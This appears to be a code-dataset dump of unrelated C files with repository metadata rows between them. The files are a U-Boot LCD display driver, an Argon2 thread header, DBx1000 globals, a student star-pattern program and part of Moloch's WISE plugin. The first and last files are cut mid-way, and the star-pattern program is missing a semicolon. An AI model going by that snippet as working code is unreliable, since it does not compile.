#include "debug_test.h"
#include "debug_cli_cmd.h"
#include "debug_dumpsys.h"
#include "debug_cpuusage.h"
#if DEBUG_LAST_WORD_ENABLE
#include "debug_lastword.h"
#endif
/* system reboot reason description */
#define DEBUG_REBOOT_REASON_WD_RST 0x01 /**< Watchdog reset */
#define DEBUG_REBOOT_REASON_PANIC 0x02 /**< System panic */
#define DEBUG_REBOOT_REASON_REPOWER 0x03 /**< System repower */
#define DEBUG_REBOOT_REASON_FATAL_ERR 0x04 /**< System fatal error */
#define DEBUG_REBOOT_CMD_REASON 0x05 /**< Reboot cmd */
#define DEBUG_REBOOT_UNKNOWN_REASON 0x06 /**< unknown reason */
#ifdef __cplusplus
}
#endif
#endif /* DBG_API_H */
| 23.119048 | 69 | 0.742533 |
c8b10131f945df775e10d1a72accdbd0e3fc259a | 9,059 | c | C | uboot/board/work-microwave/work_92105/work_92105_display.c | bingchunjin/1806_SDK | d5ed0258fc22f60e00ec025b802d175f33da6e41 | [
"MIT"
] | 4 | 2018-09-28T04:33:26.000Z | 2021-03-10T06:29:55.000Z | uboot/board/work-microwave/work_92105/work_92105_display.c | bingchunjin/1806_SDK | d5ed0258fc22f60e00ec025b802d175f33da6e41 | [
"MIT"
] | 4 | 2016-08-30T11:30:25.000Z | 2020-12-27T09:58:07.000Z | uboot/board/work-microwave/work_92105/work_92105_display.c | bingchunjin/1806_SDK | d5ed0258fc22f60e00ec025b802d175f33da6e41 | [
"MIT"
] | 2 | 2016-12-30T08:02:57.000Z | 2020-05-16T05:59:30.000Z | /*
* work_92105 display support
*
* (C) Copyright 2014 DENX Software Engineering GmbH
* Written-by: Albert ARIBAUD <albert.aribaud@3adev.fr>
*
* The work_92105 display is a HD44780-compatible module
* controlled through a MAX6957AAX SPI port expander, two
* MAX518 I2C DACs and native LPC32xx GPO 15.
*
* SPDX-License-Identifier: GPL-2.0+
*/
#include <common.h>
#include <asm/arch/sys_proto.h>
#include <asm/arch/cpu.h>
#include <asm/arch/emc.h>
#include <asm/gpio.h>
#include <spi.h>
#include <i2c.h>
#include <version.h>
#include <vsprintf.h>
/*
* GPO 15 in port 3 is gpio 3*32+15 = 111
*/
#define GPO_15 111
/**
* MAX6957AAX registers that we will be using
*/
#define MAX6957_CONF 0x04
#define MAX6957_CONF_08_11 0x0A
#define MAX6957_CONF_12_15 0x0B
#define MAX6957_CONF_16_19 0x0C
/**
* Individual gpio ports (one per gpio) to HD44780
*/
#define MAX6957AAX_HD44780_RS 0x29
#define MAX6957AAX_HD44780_R_W 0x2A
#define MAX6957AAX_HD44780_EN 0x2B
#define MAX6957AAX_HD44780_DATA 0x4C
/**
* Display controller instructions
*/
/* Function set: eight bits, two lines, 8-dot font */
#define HD44780_FUNCTION_SET 0x38
/* Display ON / OFF: turn display on */
#define HD44780_DISPLAY_ON_OFF_CONTROL 0x0C
/* Entry mode: increment */
#define HD44780_ENTRY_MODE_SET 0x06
/* Clear */
#define HD44780_CLEAR_DISPLAY 0x01
/* Set DDRAM addr (to be ORed with exact address) */
#define HD44780_SET_DDRAM_ADDR 0x80
/* Set CGRAM addr (to be ORed with exact address) */
#define HD44780_SET_CGRAM_ADDR 0x40
/**
* Default value for contrats
*/
#define CONTRAST_DEFAULT 25
/**
* Define slave as a module-wide local to save passing it around,
* plus we will need it after init for the "hd44780" command.
*/
static struct spi_slave *slave;
/*
* Write a value into a MAX6957AAX register.
*/
static void max6957aax_write(uint8_t reg, uint8_t value)
{
uint8_t dout[2];
dout[0] = reg;
dout[1] = value;
gpio_set_value(GPO_15, 0);
/* do SPI read/write (passing din==dout is OK) */
spi_xfer(slave, 16, dout, dout, SPI_XFER_BEGIN | SPI_XFER_END);
gpio_set_value(GPO_15, 1);
}
/*
* Read a value from a MAX6957AAX register.
*
* According to the MAX6957AAX datasheet, we should release the chip
* select halfway through the read sequence, when the actual register
* value is read; but the WORK_92105 hardware prevents the MAX6957AAX
* SPI OUT from reaching the LPC32XX SIP MISO if chip is not selected.
* so let's release the CS an hold it again while reading the result.
*/
static uint8_t max6957aax_read(uint8_t reg)
{
uint8_t dout[2], din[2];
/* send read command */
dout[0] = reg | 0x80; /* set bit 7 to indicate read */
dout[1] = 0;
gpio_set_value(GPO_15, 0);
/* do SPI read/write (passing din==dout is OK) */
spi_xfer(slave, 16, dout, dout, SPI_XFER_BEGIN | SPI_XFER_END);
/* latch read command */
gpio_set_value(GPO_15, 1);
/* read register -- din = noop on xmit, din[1] = reg on recv */
din[0] = 0;
din[1] = 0;
gpio_set_value(GPO_15, 0);
/* do SPI read/write (passing din==dout is OK) */
spi_xfer(slave, 16, din, din, SPI_XFER_BEGIN | SPI_XFER_END);
/* end of read. */
gpio_set_value(GPO_15, 1);
return din[1];
}
static void hd44780_instruction(unsigned long instruction)
{
max6957aax_write(MAX6957AAX_HD44780_RS, 0);
max6957aax_write(MAX6957AAX_HD44780_R_W, 0);
max6957aax_write(MAX6957AAX_HD44780_EN, 1);
max6957aax_write(MAX6957AAX_HD44780_DATA, instruction);
max6957aax_write(MAX6957AAX_HD44780_EN, 0);
/* HD44780 takes 37 us for most instructions, 1520 for clear */
if (instruction == HD44780_CLEAR_DISPLAY)
udelay(2000);
else
udelay(100);
}
static void hd44780_write_char(char c)
{
max6957aax_write(MAX6957AAX_HD44780_RS, 1);
max6957aax_write(MAX6957AAX_HD44780_R_W, 0);
max6957aax_write(MAX6957AAX_HD44780_EN, 1);
max6957aax_write(MAX6957AAX_HD44780_DATA, c);
max6957aax_write(MAX6957AAX_HD44780_EN, 0);
/* HD44780 takes 37 us to write to DDRAM or CGRAM */
udelay(100);
}
static void hd44780_write_str(char *s)
{
max6957aax_write(MAX6957AAX_HD44780_RS, 1);
max6957aax_write(MAX6957AAX_HD44780_R_W, 0);
while (*s) {
max6957aax_write(MAX6957AAX_HD44780_EN, 1);
max6957aax_write(MAX6957AAX_HD44780_DATA, *s);
max6957aax_write(MAX6957AAX_HD44780_EN, 0);
s++;
/* HD44780 takes 37 us to write to DDRAM or CGRAM */
udelay(100);
}
}
/*
* Existing user code might expect these custom characters to be
* recognized and displayed on the LCD
*/
static u8 char_gen_chars[] = {
/* #8, empty rectangle */
0x1F, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x1F,
/* #9, filled right arrow */
0x10, 0x18, 0x1C, 0x1E, 0x1C, 0x18, 0x10, 0x00,
/* #10, filled left arrow */
0x01, 0x03, 0x07, 0x0F, 0x07, 0x03, 0x01, 0x00,
/* #11, up and down arrow */
0x04, 0x0E, 0x1F, 0x00, 0x00, 0x1F, 0x0E, 0x04,
/* #12, plus/minus */
0x04, 0x04, 0x1F, 0x04, 0x04, 0x00, 0x1F, 0x00,
/* #13, fat exclamation mark */
0x06, 0x06, 0x06, 0x06, 0x00, 0x06, 0x06, 0x00,
/* #14, empty square */
0x00, 0x1F, 0x11, 0x11, 0x11, 0x1F, 0x00, 0x00,
/* #15, struck out square */
0x00, 0x1F, 0x19, 0x15, 0x13, 0x1F, 0x00, 0x00,
};
static void hd44780_init_char_gen(void)
{
int i;
hd44780_instruction(HD44780_SET_CGRAM_ADDR);
for (i = 0; i < sizeof(char_gen_chars); i++)
hd44780_write_char(char_gen_chars[i]);
hd44780_instruction(HD44780_SET_DDRAM_ADDR);
}
void work_92105_display_init(void)
{
int claim_err;
char *display_contrast_str;
uint8_t display_contrast = CONTRAST_DEFAULT;
uint8_t enable_backlight = 0x96;
slave = spi_setup_slave(0, 0, 500000, 0);
if (!slave) {
printf("Failed to set up SPI slave\n");
return;
}
claim_err = spi_claim_bus(slave);
if (claim_err)
debug("Failed to claim SPI bus: %d\n", claim_err);
/* enable backlight */
i2c_write(0x2c, 0x01, 1, &enable_backlight, 1);
/* set display contrast */
display_contrast_str = getenv("fwopt_dispcontrast");
if (display_contrast_str)
display_contrast = simple_strtoul(display_contrast_str,
NULL, 10);
i2c_write(0x2c, 0x00, 1, &display_contrast, 1);
/* request GPO_15 as an output initially set to 1 */
gpio_request(GPO_15, "MAX6957_nCS");
gpio_direction_output(GPO_15, 1);
/* enable MAX6957 portexpander */
max6957aax_write(MAX6957_CONF, 0x01);
/* configure pin 8 as input, pins 9..19 as outputs */
max6957aax_write(MAX6957_CONF_08_11, 0x56);
max6957aax_write(MAX6957_CONF_12_15, 0x55);
max6957aax_write(MAX6957_CONF_16_19, 0x55);
/* initialize HD44780 */
max6957aax_write(MAX6957AAX_HD44780_EN, 0);
hd44780_instruction(HD44780_FUNCTION_SET);
hd44780_instruction(HD44780_DISPLAY_ON_OFF_CONTROL);
hd44780_instruction(HD44780_ENTRY_MODE_SET);
/* write custom character glyphs */
hd44780_init_char_gen();
/* Show U-Boot version, date and time as a sign-of-life */
hd44780_instruction(HD44780_CLEAR_DISPLAY);
hd44780_instruction(HD44780_SET_DDRAM_ADDR | 0);
hd44780_write_str(U_BOOT_VERSION);
hd44780_instruction(HD44780_SET_DDRAM_ADDR | 64);
hd44780_write_str(U_BOOT_DATE);
hd44780_instruction(HD44780_SET_DDRAM_ADDR | 64 | 20);
hd44780_write_str(U_BOOT_TIME);
}
#ifdef CONFIG_CMD_MAX6957
static int do_max6957aax(cmd_tbl_t *cmdtp, int flag, int argc,
char *const argv[])
{
int reg, val;
if (argc != 3)
return CMD_RET_USAGE;
switch (argv[1][0]) {
case 'r':
case 'R':
reg = simple_strtoul(argv[2], NULL, 0);
val = max6957aax_read(reg);
printf("MAX6957 reg 0x%02x read 0x%02x\n", reg, val);
return 0;
default:
reg = simple_strtoul(argv[1], NULL, 0);
val = simple_strtoul(argv[2], NULL, 0);
max6957aax_write(reg, val);
printf("MAX6957 reg 0x%02x wrote 0x%02x\n", reg, val);
return 0;
}
return 1;
}
#ifdef CONFIG_SYS_LONGHELP
static char max6957aax_help_text[] =
"max6957aax - write or read display register:\n"
"\tmax6957aax R|r reg - read display register;\n"
"\tmax6957aax reg val - write display register.";
#endif
U_BOOT_CMD(
max6957aax, 6, 1, do_max6957aax,
"SPI MAX6957 display write/read",
max6957aax_help_text
);
#endif /* CONFIG_CMD_MAX6957 */
#ifdef CONFIG_CMD_HD44760
/*
* We need the HUSH parser because we need string arguments, and
* only HUSH can understand them.
*/
#if !defined(CONFIG_SYS_HUSH_PARSER)
#error CONFIG_CMD_HD44760 requires CONFIG_SYS_HUSH_PARSER
#endif
static int do_hd44780(cmd_tbl_t *cmdtp, int flag, int argc, char *const argv[])
{
char *cmd;
if (argc != 3)
return CMD_RET_USAGE;
cmd = argv[1];
if (strcasecmp(cmd, "cmd") == 0)
hd44780_instruction(simple_strtol(argv[2], NULL, 0));
else if (strcasecmp(cmd, "data") == 0)
hd44780_write_char(simple_strtol(argv[2], NULL, 0));
else if (strcasecmp(cmd, "str") == 0)
hd44780_write_str(argv[2]);
return 0;
}
#ifdef CONFIG_SYS_LONGHELP
static char hd44780_help_text[] =
"hd44780 - control LCD driver:\n"
"\thd44780 cmd <val> - send command <val> to driver;\n"
"\thd44780 data <val> - send data <val> to driver;\n"
"\thd44780 str \"<text>\" - send \"<text>\" to driver.";
#endif
U_BOOT_CMD(
hd44780, 6, 1, do_hd44780,
"HD44780 LCD driver control",
hd44780_help_text
);
#endif /* CONFIG_CMD_HD44780 */
| 25.882857 | 79 | 0.724804 |
ecbd41dc2ae8818bae7e99b9953912e69c48f628 | 2,375 | h | C | src/crypto/argon2d/thread.h | barrystyle/zumycoin | 6eb352a6c160b5c8892d650b099e0c73e74608e0 | [
"MIT"
] | 217 | 2015-01-23T07:27:59.000Z | 2021-11-22T06:03:17.000Z | src/crypto/argon2d/thread.h | CircuitBreaker88/zumycoin | 3466af8cd1c2b6117fffd5afda1646797dd91da9 | [
"MIT"
] | 91 | 2016-03-02T12:24:46.000Z | 2021-02-20T13:45:05.000Z | src/crypto/argon2d/thread.h | CircuitBreaker88/zumycoin | 3466af8cd1c2b6117fffd5afda1646797dd91da9 | [
"MIT"
] | 72 | 2015-01-11T14:01:22.000Z | 2022-01-25T00:17:44.000Z | /*
* Argon2 reference source code package - reference C implementations
*
* Copyright 2015
* Daniel Dinu, Dmitry Khovratovich, Jean-Philippe Aumasson, and Samuel Neves
*
* You may use this work under the terms of a Creative Commons CC0 1.0
* License/Waiver or the Apache Public License 2.0, at your option. The terms of
* these licenses can be found at:
*
* - CC0 1.0 Universal : http://creativecommons.org/publicdomain/zero/1.0
* - Apache 2.0 : http://www.apache.org/licenses/LICENSE-2.0
*
* You should have received a copy of both of these licenses along with this
* software. If not, they may be obtained at the above URLs.
*/
#ifndef ARGON2_THREAD_H
#define ARGON2_THREAD_H
#if !defined(ARGON2_NO_THREADS)
/*
Here we implement an abstraction layer for the simpĺe requirements
of the Argon2 code. We only require 3 primitives---thread creation,
joining, and termination---so full emulation of the pthreads API
is unwarranted. Currently we wrap pthreads and Win32 threads.
The API defines 2 types: the function pointer type,
argon2_thread_func_t,
and the type of the thread handle---argon2_thread_handle_t.
*/
#if defined(_WIN32)
#include <process.h>
typedef unsigned(__stdcall *argon2_thread_func_t)(void *);
typedef uintptr_t argon2_thread_handle_t;
#else
#include <pthread.h>
typedef void *(*argon2_thread_func_t)(void *);
typedef pthread_t argon2_thread_handle_t;
#endif
/* Creates a thread
* @param handle pointer to a thread handle, which is the output of this
* function. Must not be NULL.
* @param func A function pointer for the thread's entry point. Must not be
* NULL.
* @param args Pointer that is passed as an argument to @func. May be NULL.
* @return 0 if @handle and @func are valid pointers and a thread is successfuly
* created.
*/
int argon2_thread_create(argon2_thread_handle_t *handle,
argon2_thread_func_t func, void *args);
/* Waits for a thread to terminate
* @param handle Handle to a thread created with argon2_thread_create.
* @return 0 if @handle is a valid handle, and joining completed successfully.
*/
int argon2_thread_join(argon2_thread_handle_t handle);
/* Terminate the current thread. Must be run inside a thread created by
* argon2_thread_create.
*/
void argon2_thread_exit(void);
#endif /* ARGON2_NO_THREADS */
#endif
| 34.926471 | 80 | 0.737684 |
bd260c793258c40082ef68f1847c97e5ae4380fc | 4,958 | h | C | system/global.h | stamp711/DBx1000 | 928912dd7e005ce5a63ad94fdcde412ab893e678 | [
"ISC"
] | null | null | null | system/global.h | stamp711/DBx1000 | 928912dd7e005ce5a63ad94fdcde412ab893e678 | [
"ISC"
] | null | null | null | system/global.h | stamp711/DBx1000 | 928912dd7e005ce5a63ad94fdcde412ab893e678 | [
"ISC"
] | null | null | null | #pragma once
#include "stdint.h"
#include <unistd.h>
#include <cstddef>
#include <cstdlib>
#include <cassert>
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <string.h>
#include <typeinfo>
#include <list>
#include <mm_malloc.h>
#include <map>
#include <set>
#include <string>
#include <vector>
#include <sstream>
#include <time.h>
#include <sys/time.h>
#include <math.h>
#include <queue>
#include <boost/lockfree/queue.hpp>
#include "pthread.h"
#include "config.h"
#include "stats.h"
#include "dl_detect.h"
#ifndef NOGRAPHITE
#include "carbon_user.h"
#endif
#include "barrier.h"
using namespace std;
class mem_alloc;
class Stats;
class DL_detect;
class Manager;
class Query_queue;
class Plock;
class OptCC;
class VLLMan;
class LogManager;
class SerialLogManager;
class ParallelLogManager;
class LogPendingTable;
class LogRecoverTable;
class RecoverState;
class FreeQueue;
class DispatchJob;
class GCJob;
typedef uint32_t UInt32;
typedef int32_t SInt32;
typedef uint64_t UInt64;
typedef int64_t SInt64;
typedef uint64_t ts_t; // time stamp type
/******************************************/
// Global Data Structure
/******************************************/
extern mem_alloc mem_allocator;
extern Stats * stats;
extern DL_detect dl_detector;
extern Manager * glob_manager;
extern Query_queue * query_queue;
extern Plock part_lock_man;
extern OptCC occ_man;
// Logging
#if LOG_ALGORITHM == LOG_SERIAL
extern LogManager * log_manager;
#elif LOG_ALGORITHM == LOG_BATCH
extern LogManager ** log_manager;
// for batch recovery
#elif LOG_ALGORITHM == LOG_PARALLEL
extern LogManager ** log_manager;
extern LogRecoverTable * log_recover_table;
extern uint64_t * starting_lsn;
#endif
extern uint32_t g_epoch_period;
extern uint32_t ** next_log_file_epoch;
extern uint32_t g_num_pools;
extern uint32_t g_log_chunk_size;
extern uint32_t g_log_buffer_size;
extern FreeQueue ** free_queue_recover_state;
extern bool g_log_recover;
extern uint32_t g_num_logger;
extern bool g_no_flush;
#if CC_ALG == VLL
extern VLLMan vll_man;
#endif
extern bool volatile warmup_finish;
extern bool volatile enable_thread_mem_pool;
extern pthread_barrier_t warmup_bar;
extern pthread_barrier_t worker_bar;
extern pthread_barrier_t log_bar;
#ifndef NOGRAPHITE
extern carbon_barrier_t enable_barrier;
#endif
/******************************************/
// Global Parameter
/******************************************/
extern bool g_part_alloc;
extern bool g_mem_pad;
extern bool g_prt_lat_distr;
extern UInt32 g_part_cnt;
extern UInt32 g_virtual_part_cnt;
extern UInt32 g_thread_cnt;
extern ts_t g_abort_penalty;
extern bool g_central_man;
extern UInt32 g_ts_alloc;
extern bool g_key_order;
extern bool g_no_dl;
extern ts_t g_timeout;
extern ts_t g_dl_loop_detect;
extern bool g_ts_batch_alloc;
extern UInt32 g_ts_batch_num;
extern uint64_t g_max_txns_per_thread;
extern bool g_abort_buffer_enable;
extern bool g_pre_abort;
extern bool g_atomic_timestamp;
extern string g_write_copy_form;
extern string g_validation_lock;
extern char * output_file;
extern char * logging_dir;
extern uint32_t g_log_parallel_num_buckets;
// YCSB
extern UInt32 g_cc_alg;
extern ts_t g_query_intvl;
extern UInt32 g_part_per_txn;
extern double g_perc_multi_part;
extern double g_read_perc;
extern double g_zipf_theta;
extern UInt64 g_synth_table_size;
extern UInt32 g_req_per_query;
extern UInt32 g_field_per_tuple;
extern UInt32 g_init_parallelism;
// TPCC
extern UInt32 g_num_wh;
extern double g_perc_payment;
extern bool g_wh_update;
extern UInt32 g_max_items;
extern UInt32 g_cust_per_dist;
enum RC { RCOK, Commit, Abort, WAIT, ERROR, FINISH};
enum DepType { RAW, WAW, WAR };
/* Thread */
typedef uint64_t txnid_t;
/* Txn */
typedef uint64_t txn_t;
/* Table and Row */
typedef uint64_t rid_t; // row id
typedef uint64_t pgid_t; // page id
/* INDEX */
enum latch_t {LATCH_EX, LATCH_SH, LATCH_NONE};
// accessing type determines the latch type on nodes
enum idx_acc_t {INDEX_INSERT, INDEX_READ, INDEX_NONE};
typedef uint64_t idx_key_t; // key id for index
typedef uint64_t (*func_ptr)(idx_key_t); // part_id func_ptr(index_key);
/* general concurrency control */
enum access_t {RD, WR, XP, SCAN};
/* LOCK */
enum lock_t {LOCK_EX, LOCK_SH, LOCK_NONE };
/* TIMESTAMP */
enum TsType {R_REQ, W_REQ, P_REQ, XP_REQ};
#define MSG(str, args...) { \
printf("[%s : %d] " str, __FILE__, __LINE__, args); } \
// printf(args); }
// principal index structure. The workload may decide to use a different
// index structure for specific purposes. (e.g. non-primary key access should use hash)
#if (INDEX_STRUCT == IDX_BTREE)
#define INDEX index_btree
#else // IDX_HASH
#define INDEX IndexHash
#endif
/************************************************/
// constants
/************************************************/
#ifndef UINT64_MAX
#define UINT64_MAX 18446744073709551615UL
#endif
#ifndef UINT32_MAX
#define UINT32_MAX (0xffffffff)
#endif // UINT64_MAX
| 23.386792 | 87 | 0.741226 |
834f8e0303c6cf28c45888d46924686981c06828 | 345 | c | C | Practical/pattern1.c | Tirthbharatiya/c-examples | 4590b32f3455eb8fd667faa961d14a55146d940b | [
"MIT"
] | 1 | 2018-09-15T19:37:42.000Z | 2018-09-15T19:37:42.000Z | Practical/pattern1.c | Tirthbharatiya/c-examples | 4590b32f3455eb8fd667faa961d14a55146d940b | [
"MIT"
] | null | null | null | Practical/pattern1.c | Tirthbharatiya/c-examples | 4590b32f3455eb8fd667faa961d14a55146d940b | [
"MIT"
] | null | null | null | #include<stdio.h>
#include<conio.h>
void main()
{
int i,j,n; //n=no. of rows user want
//i is no. of rows
//j is no. of column
clrscr();
printf("\n\nEnter no of rows:");
scanf("%d",&n);
for(i=0;i<n;i++)
{
for(j=0;j<=i;j++)
{
printf(" *");
}
printf("\n");
}
printf("-Tirth Bharatiya")
} | 17.25 | 45 | 0.475362 |
d3d469b464ae3b4322b168155e2f6bd0cfe49ea1 | 484 | c | C | d/koenig/fields/mon/two_sword.c | Dbevan/SunderingShadows | 6c15ec56cef43c36361899bae6dc08d0ee907304 | [
"MIT"
] | 13 | 2019-07-19T05:24:44.000Z | 2021-11-18T04:08:19.000Z | d/koenig/fields/mon/two_sword.c | Dbevan/SunderingShadows | 6c15ec56cef43c36361899bae6dc08d0ee907304 | [
"MIT"
] | 4 | 2021-03-15T18:56:39.000Z | 2021-08-17T17:08:22.000Z | d/koenig/fields/mon/two_sword.c | Dbevan/SunderingShadows | 6c15ec56cef43c36361899bae6dc08d0ee907304 | [
"MIT"
] | 13 | 2019-09-12T06:22:38.000Z | 2022-01-31T01:15:12.000Z | inherit "/std/weapon";
create() {
::create();
set_id(
({ "sword", "two-handed sword", "a two-handed sword", "two-handed" })
);
set_name("two-handed sword");
set_short("a two-handed sword");
set_long(
@KAYLA
This is a huge 40 inch steel blade mounted on an elaborately decorated
handle, big enough for two large hands.
KAYLA
);
set_weight(15);
set_size(3);
set("value", 50);
set_wc(1,10);
set_large_wc(3,6);
set_type("blade");
}
| 21.043478 | 74 | 0.613636 |
643e2740739fd1a7d4eb665b6ba73a23f3b4c971 | 30,986 | c | C | capture/plugins/wise.c | stevenchen0x01/moloch | 841d67b57f29b55f05688f0103f36f9ea6ae6d39 | [
"Apache-2.0"
] | 1 | 2019-01-21T07:31:14.000Z | 2019-01-21T07:31:14.000Z | capture/plugins/wise.c | greatspider135/moloch | c6bde0348efb1149d75b167528c6023d71b53b9a | [
"Apache-2.0"
] | null | null | null | capture/plugins/wise.c | greatspider135/moloch | c6bde0348efb1149d75b167528c6023d71b53b9a | [
"Apache-2.0"
] | null | null | null | /* wise.c -- With Intelligence See Everything
*
* Simple plugin that queries the wise service for
* ips, domains, email, and md5s which can use various
* services to return data. It caches all the results.
*
* Copyright 2012-2017 AOL Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this Software except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "moloch.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
extern MolochConfig_t config;
LOCAL void *wiseService;
LOCAL uint32_t maxConns;
LOCAL uint32_t maxRequests;
LOCAL uint32_t maxCache;
LOCAL uint32_t cacheSecs;
LOCAL char tcpTuple;
LOCAL char udpTuple;
LOCAL uint32_t logEvery;
LOCAL int protocolField;
LOCAL uint32_t fieldsTS;
#define FIELDS_MAP_MAX 21
LOCAL int fieldsMap[FIELDS_MAP_MAX][MOLOCH_FIELDS_DB_MAX];
LOCAL char *fieldsMapHash[FIELDS_MAP_MAX];
LOCAL int fieldsMapCnt;
LOCAL uint32_t inflight;
LOCAL char **wiseExcludeDomains;
LOCAL int *wiseExcludeDomainsLen;
LOCAL int wiseExcludeDomainsNum;
LOCAL char *wiseURL;
LOCAL int wisePort;
LOCAL char *wiseHost;
LOCAL char wiseGetURI[4096];
LOCAL const int validDNS[256] = {
['-'] = 1,
['_'] = 1,
['a' ... 'z'] = 1,
['A' ... 'Z'] = 1,
['0' ... '9'] = 1
};
#define INTEL_TYPE_IP 0
#define INTEL_TYPE_DOMAIN 1
#define INTEL_TYPE_MD5 2
#define INTEL_TYPE_EMAIL 3
#define INTEL_TYPE_URL 4
#define INTEL_TYPE_TUPLE 5
#define INTEL_TYPE_JA3 6
#define INTEL_TYPE_SHA256 7
#define INTEL_TYPE_NUM_PRE 8
#define INTEL_TYPE_SIZE 32
#define INTEL_TYPE_MAX_FIELDS 32
#define INTEL_STAT_LOOKUP 0
#define INTEL_STAT_CACHE 1
#define INTEL_STAT_REQUEST 2
#define INTEL_STAT_INPROGRESS 3
#define INTEL_STAT_FAIL 4
#define INTEL_STAT_SIZE 5
LOCAL uint32_t stats[INTEL_TYPE_SIZE][INTEL_STAT_SIZE];
/******************************************************************************/
typedef struct wiseitem {
struct wiseitem *wih_next, *wih_prev;
struct wiseitem *wil_next, *wil_prev;
uint32_t wih_bucket;
uint32_t wih_hash;
MolochFieldOps_t ops;
MolochSession_t **sessions;
char *key;
uint32_t loadTime;
uint16_t sessionsSize;
uint16_t numSessions;
char type;
} WiseItem_t;
typedef struct wiseitem_head {
struct wiseitem *wih_next, *wih_prev;
struct wiseitem *wil_next, *wil_prev;
short wih_bucket;
uint32_t wih_count;
uint32_t wil_count;
} WiseItemHead_t;
#define WISE_MAX_REQUEST_ITEMS 512
typedef struct wiserequest {
BSB bsb;
WiseItem_t *items[WISE_MAX_REQUEST_ITEMS];
int numItems;
} WiseRequest_t;
typedef HASH_VAR(h_, WiseItemHash_t, WiseItemHead_t, 199337);
struct {
char *name;
WiseItemHash_t itemHash;
WiseItemHead_t itemList;
int fields[INTEL_TYPE_MAX_FIELDS];
char fieldsLen;
char nameLen;
} types[INTEL_TYPE_SIZE];
int numTypes = INTEL_TYPE_NUM_PRE;
LOCAL MOLOCH_LOCK_DEFINE(item);
/******************************************************************************/
LOCAL WiseRequest_t *iRequest = 0;
LOCAL MOLOCH_LOCK_DEFINE(iRequest);
LOCAL char *iBuf = 0;
/******************************************************************************/
LOCAL int wise_item_cmp(const void *keyv, const void *elementv)
{
char *key = (char*)keyv;
WiseItem_t *element = (WiseItem_t *)elementv;
return strcmp(key, element->key) == 0;
}
/******************************************************************************/
LOCAL void wise_print_stats()
{
for (int i = 0; i < numTypes; i++) {
LOG("%8s lookups:%7d cache:%7d requests:%7d inprogress:%7d fail:%7d hash:%7d list:%7d",
types[i].name,
stats[i][0],
stats[i][1],
stats[i][2],
stats[i][3],
stats[i][4],
HASH_COUNT(wih_, types[i].itemHash),
DLL_COUNT(wil_, &types[i].itemList));
}
}
/******************************************************************************/
LOCAL void wise_load_fields()
{
char key[500];
int key_len;
memset(fieldsMap[0], -1, sizeof(fieldsMap[0]));
key_len = snprintf(key, sizeof(key), "/fields?ver=1");
size_t data_len;
unsigned char *data = moloch_http_send_sync(wiseService, "GET", key, key_len, NULL, 0, NULL, &data_len);;
BSB bsb;
BSB_INIT(bsb, data, data_len);
int ver = -1, cnt = 0;
BSB_IMPORT_u32(bsb, fieldsTS);
BSB_IMPORT_u32(bsb, ver);
if (ver < 0 || ver > 1) {
if (wiseURL) {
LOGEXIT("Verify wiseURL value of `%s` version: %d - %s",
wiseURL, ver,
(ver == -1?"Couldn't connect to WISE":"Unsupported version"));
} else {
LOGEXIT("Verify wiseHost:wisePort value of `%s:%d` version: %d - %s",
wiseHost, wisePort, ver,
(ver == -1?"Couldn't connect to WISE":"Unsupported version"));
}
}
if (ver == 0) {
BSB_IMPORT_u08(bsb, cnt);
} else if (ver == 1) {
BSB_IMPORT_u16(bsb, cnt);
}
if (cnt > MOLOCH_FIELDS_DB_MAX) {
LOGEXIT("Wise server is returning too many fields %d > %d", cnt, MOLOCH_FIELDS_DB_MAX);
}
for (int i = 0; i < cnt; i++) {
int len = 0;
BSB_IMPORT_u16(bsb, len); // len includes NULL terminated
fieldsMap[0][i] = moloch_field_define_text((char*)BSB_WORK_PTR(bsb), NULL);
if (fieldsMap[0][i] == -1)
fieldsTS = 0;
if (config.debug)
LOG("Couldn't define field - %d %d %s", i, fieldsMap[0][i], BSB_WORK_PTR(bsb));
BSB_IMPORT_skip(bsb, len);
}
free(data);
}
/******************************************************************************/
LOCAL void wise_session_cmd_cb(MolochSession_t *session, gpointer uw1, gpointer UNUSED(uw2))
{
WiseItem_t *wi = uw1;
if (wi) {
moloch_field_ops_run(session, &wi->ops);
}
moloch_session_decr_outstanding(session);
}
/******************************************************************************/
LOCAL void wise_free_item(WiseItem_t *wi)
{
g_free(wi->key);
moloch_field_ops_free(&wi->ops);
MOLOCH_TYPE_FREE(WiseItem_t, wi);
}
/******************************************************************************/
LOCAL void wise_remove_item_locked(WiseItem_t *wi)
{
HASH_REMOVE(wih_, types[(int)wi->type].itemHash, wi);
if (wi->sessions) {
for (int i = 0; i < wi->numSessions; i++) {
moloch_session_add_cmd(wi->sessions[i], MOLOCH_SES_CMD_FUNC, NULL, NULL, wise_session_cmd_cb);
}
g_free(wi->sessions);
wi->sessions = 0;
}
moloch_free_later(wi, (GDestroyNotify) wise_free_item);
}
/******************************************************************************/
LOCAL void wise_cb(int UNUSED(code), unsigned char *data, int data_len, gpointer uw)
{
BSB bsb;
WiseRequest_t *request = uw;
int i;
inflight -= request->numItems;
BSB_INIT(bsb, data, data_len);
uint32_t fts = 0, ver = 0xffffffff;
BSB_IMPORT_u32(bsb, fts);
BSB_IMPORT_u32(bsb, ver);
if (BSB_IS_ERROR(bsb) || (ver != 0 && ver != 2)) {
MOLOCH_LOCK(item);
for (i = 0; i < request->numItems; i++) {
wise_remove_item_locked(request->items[i]);
}
MOLOCH_UNLOCK(item);
MOLOCH_TYPE_FREE(WiseRequest_t, request);
return;
}
if (ver == 0 && fts != fieldsTS)
wise_load_fields();
int hashPos = 0;
if (ver == 2) {
unsigned char *hash;
BSB_IMPORT_ptr(bsb, hash, 32);
int cnt = 0;
BSB_IMPORT_u16(bsb, cnt);
MOLOCH_LOCK(item);
for (hashPos = 0; hashPos < fieldsMapCnt; hashPos++) {
if (memcmp(hash, fieldsMapHash[hashPos], 32) == 0)
break;
}
if (config.debug)
LOG("WISE Response %32.32s cnt %d pos %d", hash, cnt, hashPos);
if (hashPos == FIELDS_MAP_MAX)
LOGEXIT("Too many unique wise hashs");
if (hashPos == fieldsMapCnt) {
